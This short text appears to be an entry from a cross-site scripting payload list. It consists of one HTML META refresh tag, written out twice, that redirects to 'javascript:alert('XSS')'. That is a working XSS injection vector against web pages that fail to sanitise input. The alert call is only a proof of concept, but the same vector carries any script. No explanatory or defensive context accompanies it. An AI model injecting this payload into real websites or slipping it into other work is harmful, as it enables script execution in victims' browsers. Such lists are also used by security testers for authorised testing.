<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');"> - <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">